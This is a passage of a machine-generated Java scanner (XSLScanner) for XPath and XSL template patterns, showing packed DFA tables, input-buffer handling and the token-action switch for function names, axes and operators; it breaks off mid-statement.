"\1\u020c\15\2\2\0\1\2\1\u020d\1\2\1\54\1\u020e"+ + "\1\2\3\0\1\u020f\12\0\10\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\1\u0210\1\2\16\0\10\2"+ + "\1\0\22\2\2\0\1\2\1\u0211\1\2\1\54\2\2"+ + "\3\0\1\u0212\12\0\10\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\u0213\3\2"+ + "\1\0\22\2\2\0\1\2\1\u0214\1\2\1\54\2\2"+ + "\3\0\1\u0215\12\0\10\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\6\2"+ + "\1\u0216\13\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\4\2\1\u0217\3\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\1\2"+ + "\1\u0218\20\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\1\u0219\21\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\4\2\1\u021a\3\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\1\2\1\u021b\6\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\7\2\1\u021c\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\1\u021d\21\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\1\2\1\u021e\20\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\10\2\1\0"+ + "\1\u021f\21\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\6\2\1\u0220\13\2\3\0\1\u020d"+ + "\7\0\1\u020f\47\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\13\2\1\u0221\6\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\u0222\3\2"+ + "\1\0\6\2\1\u0223\13\2\3\0\1\u0211\7\0\1\u0212"+ + "\47\0\1\2\1\0\1\2\1\54\2\2\16\0\3\2"+ + "\1\u0224\4\2\1\0\22\2\3\0\1\u0214\7\0\1\u0215"+ + "\47\0\1\2\1\0\1\2\1\54\2\2\16\0\7\2"+ + "\1\u0225\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\7\2\1\u0226\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\2\2"+ + "\1\u0227\17\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\1\2\1\u0228\6\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\1\u0229\1\2\16\0\10\2\1\0"+ + "\22\2\2\0\1\2\1\u022a\1\2\1\54\2\2\3\0"+ + "\1\u022b\12\0\10\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\1\2\1\u022c\6\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\1\2\1\u022d\6\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\6\2\1\u022e"+ + "\13\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\13\2\1\u022f\6\2\2\0\1\2\1\u0230"+ + "\1\2\1\54\2\2\3\0\1\u0231\12\0\10\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\4\2\1\u0232\2\2\1\u0233\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\1\u0234\7\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\2\2\1\u0235\5\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\1\u0236\1\2\16\0\10\2\1\0\22\2"+ + "\2\0\1\2\1\u0237\1\2\1\54\2\2\3\0\1\u0238"+ + "\12\0\10\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\6\2\1\u0239\13\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\7\2"+ + "\1\u023a\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\6\2\1\u023b\1\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\10\2\1\0"+ + "\1\2\1\u023c\20\2\3\0\1\u022a\7\0\1\u022b\47\0"+ + "\1\2\1\u023d\1\2\1\54\2\2\3\0\1\u023e\12\0"+ + "\10\2\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\6\2\1\u023f\1\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\10\2\1\0"+ + "\1\u0240\21\2\2\0\1\2\1\u0241\1\2\1\u0242\2\2"+ + "\16\0\10\2\1\0\22\2\3\0\1\u0230\7\0\1\u0231"+ + "\47\0\1\2\1\0\1\2\1\54\2\2\16\0\7\2"+ + "\1\u0243\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\4\2\1\u0244\3\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\1\u0245\7\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\6\2\1\u0246\13\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\15\2"+ + "\1\u0247\4\2\3\0\1\u0237\7\0\1\u0238\47\0\1\2"+ + "\1\u0248\1\2\1\54\2\2\3\0\1\u0249\12\0\10\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\5\2\1\u024a\14\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\7\2"+ + "\1\u024b\12\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\2\2\1\u024c\17\2\3\0\1\u023d"+ + "\7\0\1\u023e\47\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\7\2\1\u024d\12\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\13\2"+ + "\1\u024e\6\2\3\0\1\u0241\1\0\1\u024f\55\0\1\135"+ + "\1\0\1\135\1\u0250\2\135\14\0\1\136\1\0\10\135"+ + "\1\0\22\135\2\0\1\2\1\0\1\2\1\54\1\u0251"+ + "\1\2\16\0\10\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\3\2\1\u0252\4\2\1\0"+ + "\22\2\2\0\1\2\1\u0253\1\2\1\54\2\2\3\0"+ + "\1\u0254\12\0\10\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\6\2\1\u0255\1\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\16\2\1\u0256\3\2\3\0\1\u0248\7\0"+ + "\1\u0249\47\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\4\2\1\u0257\15\2\2\0\1\2\1\u0258"+ + "\1\2\1\u0259\2\2\16\0\10\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\7\2\1\u025a"+ + "\1\0\22\2\2\0\1\2\1\u025b\1\2\1\u025c\2\2"+ + "\16\0\10\2\1\0\22\2\2\0\1\2\1\u025d\1\2"+ + "\1\u025e\2\2\16\0\10\2\1\0\22\2\5\0\1\u0250"+ + "\55\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\3\2\1\u025f\16\2\2\0\1\2\1\0\1\2"+ + "\1\54\1\u0260\1\2\16\0\10\2\1\0\22\2\3\0"+ + "\1\u0253\7\0\1\u0254\47\0\1\2\1\u0261\1\2\1\54"+ + "\2\2\3\0\1\u0262\12\0\10\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\5\2\1\u0263"+ + "\2\2\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\2\2\1\u0264\17\2\3\0"+ + "\1\u0258\1\0\1\u0265\55\0\1\135\1\0\1\135\1\u0266"+ + "\2\135\14\0\1\136\1\0\10\135\1\0\22\135\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\1\2\1\u0267"+ + "\6\2\1\0\22\2\3\0\1\u025b\1\0\1\u0268\55\0"+ + "\1\135\1\0\1\135\1\u0269\2\135\14\0\1\136\1\0"+ + "\10\135\1\0\22\135\3\0\1\u025d\1\0\1\u026a\55\0"+ + "\1\135\1\0\1\135\1\u026b\2\135\14\0\1\136\1\0"+ + "\10\135\1\0\22\135\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\7\2\1\u026c\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\15\2"+ + "\1\u026d\4\2\3\0\1\u0261\7\0\1\u0262\47\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\3\2\1\u026e\4\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\1\2\1\u026f\6\2\1\0\22\2\5\0\1\u0266"+ + "\55\0\1\2\1\0\1\2\1\54\2\2\16\0\6\2"+ + "\1\u0270\1\2\1\0\22\2\5\0\1\u0269\60\0\1\u026b"+ + "\55\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\6\2\1\u0271\13\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\16\2\1\u0272\3\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\6\2\1\u0273\13\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\4\2\1\u0274\3\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\7\2\1\u0275\12\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\13\2\1\u0276\6\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\5\2"+ + "\1\u0277\2\2\1\0\22\2\2\0\1\2\1\u0278\1\2"+ + "\1\54\2\2\3\0\1\u0279\12\0\10\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\6\2"+ + "\1\u027a\1\2\1\0\22\2\2\0\1\2\1\u027b\1\2"+ + "\1\54\2\2\3\0\1\u027c\12\0\10\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\1\2"+ + "\1\u027d\6\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\3\2\1\u027e\4\2\1\0\22\2"+ + "\3\0\1\u0278\7\0\1\u0279\47\0\1\2\1\u027f\1\2"+ + "\1\54\2\2\3\0\1\u0280\12\0\10\2\1\0\22\2"+ + "\3\0\1\u027b\7\0\1\u027c\47\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\17\2\1\u0281\2\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\6\2\1\u0282\13\2\3\0\1\u027f\7\0\1\u0280"+ + "\50\0\1\u0280\10\0\1\u0283\44\0\1\u0284\1\u0285\1\2"+ + "\1\u0286\1\2\1\54\2\2\3\0\1\u0287\12\0\10\2"+ + "\1\0\22\2\2\0\1\2\1\u0288\1\2\1\54\2\2"+ + "\3\0\1\u0289\12\0\10\2\1\0\22\2\2\0\57\u0284"+ + "\1\u028a\1\u0284\60\u0285\1\u028b\1\0\1\u0286\7\0\1\u0287"+ + "\50\0\1\u0288\7\0\1\u0289\50\0\1\u028a\10\0\1\u028c"+ + "\47\0\1\u028b\10\0\1\u028d\46\0"; + + private static int [] zzUnpackTrans() { + int [] result = new int[27587]; + int offset = 0; + offset = zzUnpackTrans(ZZ_TRANS_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackTrans(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + value--; + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /* error codes */ + private static final int ZZ_UNKNOWN_ERROR = 0; + private static final int ZZ_NO_MATCH = 1; + private static final int ZZ_PUSHBACK_2BIG = 2; + + /* error messages for the codes above */ + private static final String ZZ_ERROR_MSG[] = { + "Unkown internal scanner error", + "Error: could not match input", + "Error: pushback value was too large" + }; + + /** + * ZZ_ATTRIBUTE[aState] contains the attributes of state aState + */ + private static final int [] ZZ_ATTRIBUTE = zzUnpackAttribute(); + + private static final String ZZ_ATTRIBUTE_PACKED_0 = + "\1\0\3\1\2\11\1\1\7\11\2\1\1\11\1\1"+ + "\2\11\10\1\1\11\16\1\1\0\3\1\4\11\46\1"+ + "\1\0\1\11\1\0\1\1\1\11\67\1\1\0\1\11"+ + "\2\1\1\0\1\11\12\1\1\0\1\11\34\1\1\0"+ + "\1\11\5\1\2\0\1\1\1\0\1\11\6\1\1\0"+ + "\1\11\1\0\1\11\3\1\2\0\1\1\1\0\1\11"+ + "\2\0\34\1\1\11\3\1\1\0\1\1\1\11\6\1"+ + "\1\0\1\11\1\1\1\11\11\1\1\0\1\11\2\1"+ + "\2\0\7\1\1\0\1\11\1\0\1\11\1\0\1\11"+ + "\7\1\1\0\1\11\5\1\1\0\1\1\1\11\3\1"+ + "\2\0\6\1\1\0\1\11\2\1\1\0\1\11\27\1"+ + "\1\0\1\11\3\1\3\0\1\11\1\1\1\0\1\11"+ + "\1\0\1\11\5\1\1\0\1\11\1\1\1\0\1\11"+ + "\2\1\2\0\14\1\1\0\1\11\3\1\1\11\1\0"+ + "\1\11\10\1\1\0\1\11\1\1\2\0\1\1\2\0"+ + "\7\1\1\0\1\1\1\11\1\0\1\11\1\1\2\0"+ + "\3\1\1\0\1\11\3\1\2\0\1\1\2\0\1\1"+ + "\1\0\1\11\1\1\1\0\1\11\1\1\1\0\1\11"+ + "\3\1\1\0\1\1\1\11\1\0\1\11\5\1\1\0"+ + "\1\11\2\1\1\0\1\11\3\1\1\0\1\11\1\1"+ + "\1\0\1\11\7\1\1\0\1\11\10\1\1\0\1\11"+ + "\24\1\1\0\1\1\1\11\1\1\1\0\1\11\1\1"+ + "\1\0\1\11\24\1\1\0\1\11\4\1\1\0\1\11"+ + "\5\1\1\0\1\11\4\1\1\0\1\11\2\1\2\0"+ + "\5\1\1\0\1\11\5\1\1\0\1\11\2\1\1\0"+ + "\1\11\3\1\2\0\1\1\4\0\2\1\1\0\1\11"+ + "\2\1\1\0\1\11\1\1\1\0\1\11\1\0\1\11"+ + "\14\1\1\0\1\11\1\1\1\0\1\11\2\1\2\0"+ + "\2\1\1\11\3\0\1\11\1\0\1\11\2\0\2\11"; + + private static int [] zzUnpackAttribute() { + int [] result = new int[653]; + int offset = 0; + offset = zzUnpackAttribute(ZZ_ATTRIBUTE_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAttribute(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + /** the input device */ + private java.io.Reader zzReader; + + /** the current state of the DFA */ + private int zzState; + + /** the current lexical state */ + private int zzLexicalState = YYINITIAL; + + /** this buffer contains the current text to be matched and is + the source of the yytext() string */ + private char zzBuffer[] = new char[ZZ_BUFFERSIZE]; + + /** the textposition at the last accepting state */ + private int zzMarkedPos; + + /** the current text position in the buffer */ + private int zzCurrentPos; + + /** startRead marks the beginning of the yytext() string in the buffer */ + private int zzStartRead; + + /** endRead marks the last character in the buffer, that has been read + from input */ + private int zzEndRead; + + /** number of newlines encountered up to the start of the matched text */ + private int yyline; + + /** the number of characters up to the start of the matched text */ + private int yychar; + + /** + * the number of characters from the last newline up to the start of the + * matched text + */ + private int yycolumn; + + /** + * zzAtBOL == true <=> the scanner is currently at the beginning of a line + */ + private boolean zzAtBOL = true; + + /** zzAtEOF == true <=> the scanner is at the EOF */ + private boolean zzAtEOF; + + /** denotes if the user-EOF-code has already been executed */ + private boolean zzEOFDone; + + /* user code: */ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + boolean strict; //true for template patterns, false otherwise + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + int depth; + public boolean isStrict(){ + return strict; + } + + public void setStrict(boolean b){ + strict = b; + } + + public int getOffset(){ + return yychar; + } + + public String getArgument(char c, String input){ + int os1=input.indexOf(c), os2=input.lastIndexOf(c); + + return input.substring(os1+1, os2); + } + + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseException("XPath Syntax error: "+cur_token); + }*/ + + + + /** + * Creates a new scanner + * There is also a java.io.InputStream version of this constructor. + * + * @param in the java.io.Reader to read input from. + */ + XSLScanner(java.io.Reader in) { + isName = 1; + colonPosition = -1; + depth = 0; // detect the level of [ and ] because + strict = false; + this.zzReader = in; + } + + /** + * Creates a new scanner. + * There is also java.io.Reader version of this constructor. + * + * @param in the java.io.Inputstream to read input from. + */ + XSLScanner(java.io.InputStream in) { + this(new java.io.InputStreamReader(in)); + } + + /** + * Unpacks the compressed character translation table. + * + * @param packed the packed character translation table + * @return the unpacked character translation table + */ + private static char [] zzUnpackCMap(String packed) { + char [] map = new char[0x10000]; + int i = 0; /* index in packed string */ + int j = 0; /* index in unpacked array */ + while (i < 140) { + int count = packed.charAt(i++); + char value = packed.charAt(i++); + do map[j++] = value; while (--count > 0); + } + return map; + } + + + /** + * Refills the input buffer. + * + * @return false, iff there was new input. + * + * @exception java.io.IOException if any I/O-Error occurs + */ + private boolean zzRefill() throws java.io.IOException { + + /* first: make room (if you can) */ + if (zzStartRead > 0) { + System.arraycopy(zzBuffer, zzStartRead, + zzBuffer, 0, + zzEndRead-zzStartRead); + + /* translate stored positions */ + zzEndRead-= zzStartRead; + zzCurrentPos-= zzStartRead; + zzMarkedPos-= zzStartRead; + zzStartRead = 0; + } + + /* is the buffer big enough? */ + if (zzCurrentPos >= zzBuffer.length) { + /* if not: blow it up */ + char newBuffer[] = new char[zzCurrentPos*2]; + System.arraycopy(zzBuffer, 0, newBuffer, 0, zzBuffer.length); + zzBuffer = newBuffer; + } + + /* finally: fill the buffer with new input */ + int numRead = zzReader.read(zzBuffer, zzEndRead, + zzBuffer.length-zzEndRead); + + if (numRead > 0) { + zzEndRead+= numRead; + return false; + } + // unlikely but not impossible: read 0 characters, but not at end of stream + if (numRead == 0) { + int c = zzReader.read(); + if (c == -1) { + return true; + } else { + zzBuffer[zzEndRead++] = (char) c; + return false; + } + } + + // numRead < 0 + return true; + } + + + /** + * Closes the input stream. + */ + public final void yyclose() throws java.io.IOException { + zzAtEOF = true; /* indicate end of file */ + zzEndRead = zzStartRead; /* invalidate buffer */ + + if (zzReader != null) + zzReader.close(); + } + + + /** + * Resets the scanner to read from a new input stream. + * Does not close the old reader. + * + * All internal variables are reset, the old input stream + * cannot be reused (internal buffer is discarded and lost). + * Lexical state is set to ZZ_INITIAL. + * + * @param reader the new input stream + */ + public final void yyreset(java.io.Reader reader) { + zzReader = reader; + zzAtBOL = true; + zzAtEOF = false; + zzEOFDone = false; + zzEndRead = zzStartRead = 0; + zzCurrentPos = zzMarkedPos = 0; + yyline = yychar = yycolumn = 0; + zzLexicalState = YYINITIAL; + } + + + /** + * Returns the current lexical state. + */ + public final int yystate() { + return zzLexicalState; + } + + + /** + * Enters a new lexical state + * + * @param newState the new lexical state + */ + public final void yybegin(int newState) { + zzLexicalState = newState; + } + + + /** + * Returns the text matched by the current regular expression. + */ + public final String yytext() { + return new String( zzBuffer, zzStartRead, zzMarkedPos-zzStartRead ); + } + + + /** + * Returns the character at position pos from the + * matched text. + * + * It is equivalent to yytext().charAt(pos), but faster + * + * @param pos the position of the character to fetch. + * A value from 0 to yylength()-1. + * + * @return the character at position pos + */ + public final char yycharat(int pos) { + return zzBuffer[zzStartRead+pos]; + } + + + /** + * Returns the length of the matched text region. + */ + public final int yylength() { + return zzMarkedPos-zzStartRead; + } + + + /** + * Reports an error that occured while scanning. + * + * In a wellformed scanner (no or only correct usage of + * yypushback(int) and a match-all fallback rule) this method + * will only be called with things that "Can't Possibly Happen". + * If this method is called, something is seriously wrong + * (e.g. a JFlex bug producing a faulty scanner etc.). + * + * Usual syntax/scanner level error handling should be done + * in error fallback rules. + * + * @param errorCode the code of the errormessage to display + */ + private void zzScanError(int errorCode) { + String message; + try { + message = ZZ_ERROR_MSG[errorCode]; + } + catch (ArrayIndexOutOfBoundsException e) { + message = ZZ_ERROR_MSG[ZZ_UNKNOWN_ERROR]; + } + + throw new Error(message); + } + + + /** + * Pushes the specified amount of characters back into the input stream. + * + * They will be read again by then next call of the scanning method + * + * @param number the number of characters to be read again. + * This number must not be greater than yylength()! + */ + public void yypushback(int number) { + if ( number > yylength() ) + zzScanError(ZZ_PUSHBACK_2BIG); + + zzMarkedPos -= number; + } + + + /** + * Contains user EOF-code, which will be executed exactly once, + * when the end of file is reached + */ + private void zzDoEOF() throws java.io.IOException { + if (!zzEOFDone) { + zzEOFDone = true; + yyclose(); + } + } + + + /** + * Resumes scanning until the next regular expression is matched, + * the end of input is encountered or an I/O-Error occurs. + * + * @return the next token + * @exception java.io.IOException if any I/O-Error occurs + */ + public java_cup.runtime.Symbol next_token() throws java.io.IOException, XPathParseException { + int zzInput; + int zzAction; + + // cached fields: + int zzCurrentPosL; + int zzMarkedPosL; + int zzEndReadL = zzEndRead; + char [] zzBufferL = zzBuffer; + char [] zzCMapL = ZZ_CMAP; + + int [] zzTransL = ZZ_TRANS; + int [] zzRowMapL = ZZ_ROWMAP; + int [] zzAttrL = ZZ_ATTRIBUTE; + + while (true) { + zzMarkedPosL = zzMarkedPos; + + yychar+= zzMarkedPosL-zzStartRead; + + zzAction = -1; + + zzCurrentPosL = zzCurrentPos = zzStartRead = zzMarkedPosL; + + zzState = ZZ_LEXSTATE[zzLexicalState]; + + + zzForAction: { + while (true) { + + if (zzCurrentPosL < zzEndReadL) + zzInput = zzBufferL[zzCurrentPosL++]; + else if (zzAtEOF) { + zzInput = YYEOF; + break zzForAction; + } + else { + // store back cached positions + zzCurrentPos = zzCurrentPosL; + zzMarkedPos = zzMarkedPosL; + boolean eof = zzRefill(); + // get translated positions and possibly new buffer + zzCurrentPosL = zzCurrentPos; + zzMarkedPosL = zzMarkedPos; + zzBufferL = zzBuffer; + zzEndReadL = zzEndRead; + if (eof) { + zzInput = YYEOF; + break zzForAction; + } + else { + zzInput = zzBufferL[zzCurrentPosL++]; + } + } + int zzNext = zzTransL[ zzRowMapL[zzState] + zzCMapL[zzInput] ]; + if (zzNext == -1) break zzForAction; + zzState = zzNext; + + int zzAttributes = zzAttrL[zzState]; + if ( (zzAttributes & 1) == 1 ) { + zzAction = zzState; + zzMarkedPosL = zzCurrentPosL; + if ( (zzAttributes & 8) == 8 ) break zzForAction; + } + + } + } + + // store back cached position + zzMarkedPos = zzMarkedPosL; + + switch (zzAction < 0 ? zzAction : ZZ_ACTION[zzAction]) { + case 32: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 97: break; + case 6: + { if (!strict || (strict && (depth >0))){isName = 0 ; /*System.out.println(". returned ");*/ return sym(DOT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 98: break; + case 60: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 99: break; + case 79: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENCODE_FOR_URI; + fname = new FuncName(); + fname.i = FuncName.ENCODE_FOR_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 100: break; + case 44: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COUNT; + fname = new FuncName(); + fname.i = FuncName.COUNT; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 101: break; + case 54: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.CURRENT; + return sym(FNAME2,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 102: break; + case 81: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 103: break; + case 75: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.GENERATE_ID; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 104: break; + case 46: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 105: break; + case 87: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING_SIBLING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 106: break; + case 33: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NOT; + fname = new FuncName(); + fname.i = FuncName.NOT; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 107: break; + case 20: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(UNION) ; }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 108: break; + case 30: + { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 109: break; + case 31: + { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(AND); + } else { + isName = 0; + name = new NameType(); + name.qname = "add"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 110: break; + case 11: + { isName = 0 ; return sym(RP); + } + case 111: break; + case 76: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 112: break; + case 15: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(LT); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 113: break; + case 78: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 114: break; + case 18: + { if (isName ==0){ + isName = 1; + //System.out.println("returned a MULT"); + return sym(MULT); + } + else { + isName = 0; + name = new NameType(); + name.qname = "*"; + return sym(NAME,name); + } + } + case 115: break; + case 9: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(COMMA); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 116: break; + case 70: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 117: break; + case 62: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 118: break; + case 52: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.PARENT; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 119: break; + case 8: + { isName = 1 ; return sym(AT); + } + case 120: break; + case 83: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_BEFORE; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_BEFORE; + return 